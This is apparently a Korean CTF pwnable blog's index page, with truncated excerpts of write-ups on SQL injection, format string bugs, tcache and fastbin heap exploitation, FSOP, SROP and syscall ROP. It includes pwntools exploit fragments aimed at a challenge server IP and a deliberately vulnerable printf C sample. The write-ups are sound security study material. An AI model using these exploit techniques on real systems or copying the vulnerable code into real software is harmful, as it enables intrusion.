Summary sql injection 64bit Format String Bug Analysis register에서 '를 필터링하지 않아서 sql injection이 가능하다. (login에서는 필터링함.) 그렇게 sql injection을 통해 point를 조건값으로 바꿔주면 fsb가 가능하다. 64bit fsb로 익스하면 됌. Exploit got가 덮으면 안따이길래 __free_hook덮었다. from pwn import * #s = process("bookstore") s = remote("13.124.117.126", 31337) e = ELF("bookstore") s.sendlineafter(": \n", "1") s.sendlineafter(": ", "asdf', '..
Summary tcache dup Analysis add 0~6까지 총 7개 할당가능. 1024(0x400) 사이즈까지만 할당가능. (unsorted bin 사이즈의 할당이 불가능함. 그래서 tcache poisoning으로 size를 바꾸고 free해줘서 libc leak.) edit 값을 수정할 수 있음. 따로 초기화 하지 않아 delete이후에도 edit가능. delete 청크를 free해줌. 따로 초기화 하지 않아 double free 가능. check 청크 안에 값들을 보여줌. Libc leak add(0, 32, "") delete(0) delete(0) check(0) s.recvuntil(":") heap_base=u64(s.recv(6)+"\x00\x00")-0x260 print(hex(..
거의 2년전에 알았던 문젠데 이제야 풀다니.. Summary main_arena+88(unsorted bin) leak fastbin duplicate Analysis 분석을 해보면 mmap으로 매핑된 주소에서 힙 청크들을 관리한다. Allocate size입력 받은 만큼 메모리 할당 fill 할당 된 버퍼에 write 할 수 있다. size컨트롤이 가능해 heap overflow취약점이 발생한다. free 메모리 해제 dump 할당된 청크의 적힌 데이터를 볼 수 있다. Iibc leak fastchunk 4개 할당(0x20)(idx 0~3) smallchunk 1개 할당(0x80)(idx 4) free(1) free(2) fill(0)에서 fastchunk(2)의 fd를 smallchunk의 위치로 1..
Introduction file struct 구조를 분석하여 File Stream Oriented Programming에 대해 공부한 내용을 정리하려 한다. Data Structure in File 먼저, file 구조체를 알아야한다. struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_rea..
Summary only read rax control read내부 syscall 이용 Analysis int __cdecl main(int argc, const char **argv, const char **envp) { char buf; // [rsp+0h] [rbp-30h] alarm(0x3Cu); read(0, &buf, 0x400uLL); return 0; } stack overflow가 발생한다. 하지만 writeable한 함수는 없고, 오직 read함수만 있기때문에 일반적인 rop로는 풀이가 불가능하다. Use syscall(in libc_read) 따라서 이 문제를 풀기 위해서는 read내부에 있는 syscall을 이용해야 한다. ba0bab➤ disas read Dump of assembl..
exit()? C에서 exit() 이라는 함수는, 현재의 C프로그램 자체를 완전 종료하는 기능을 가집니다. exit()는 코드에서 직접 선언하여 사용할 수도 있지만, __libc_start_main()에서 main함수를 동작한 이후 마지막 단계에서 호출하기도 합니다. ba0bab➤ disas 0x7ffff7a05ab0 Dump of assembler code for function __libc_start_main: 0x00007ffff7a05ab0 : push r13 0x00007ffff7a05ab2 : push r12 0x00007ffff7a05ab4 : xor eax,eax ... ... ... 0x00007ffff7a05b95 : call rax 0x00007ffff7a05b97 : mov edi,..
#include #include #include int main(void) { char buf[300] = {0}; setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); printf("input: "); read(0, buf, 300); printf(buf); exit(0); } 컴파일 : gcc fsb.c -o fsb -no-pie printf 에서 Format String Bug가 발생한다. Exploit scenario 오프셋 구하기 exit_got를 main으로 돌리는 동시에 libc_start_main leak exit_got를 one_gadget으로 overwrite get shell Exploit flow main으로 다시 가야하는 이유는 첫 번째 fsb..
Summary SROP (SigReturn Oriented Programming) rt_sigreturn syscall stack emulate Analysis 0x401000: push rbp 0x401001: mov rbp,rsp 0x401004: sub rsp,0x40 0x401008: mov eax,0x1 0x40100d: mov edi,0x1 0x401012: lea rsi,ds:0x402000 //"Hey, can i get some feedback for the CTF?" 0x40101a: mov edx,0x2a 0x40101f: syscall 0x401021: mov edi,0x0 0x401026: lea rsi,[rsp-0x40] //buf 0x40102b: mov edx,0x400 //..
- exit
- oob
- HackCTF
- 해킹
- rt_sigreturn
- pwable
- TLS
- glibc
- heap
- shellcoding
- fsop
- ebp change
- SQLi
- pwnable
- overflow
- tcache
- stack reusing
- codegate
- fastbindup
- hacking
- pwnable.tw
- srop
- 본선가고싶다
- fastbin
- FSB
- Total
- Today
- Yesterday